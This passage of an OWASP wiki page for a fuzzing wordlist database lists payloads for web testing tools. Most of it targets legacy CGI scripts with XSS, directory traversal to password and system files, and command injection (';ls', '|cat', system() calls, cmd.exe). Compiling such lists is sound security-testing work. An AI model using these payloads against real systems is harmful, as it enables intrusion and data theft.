/&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80079 2010-03-17T21:13:45Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> 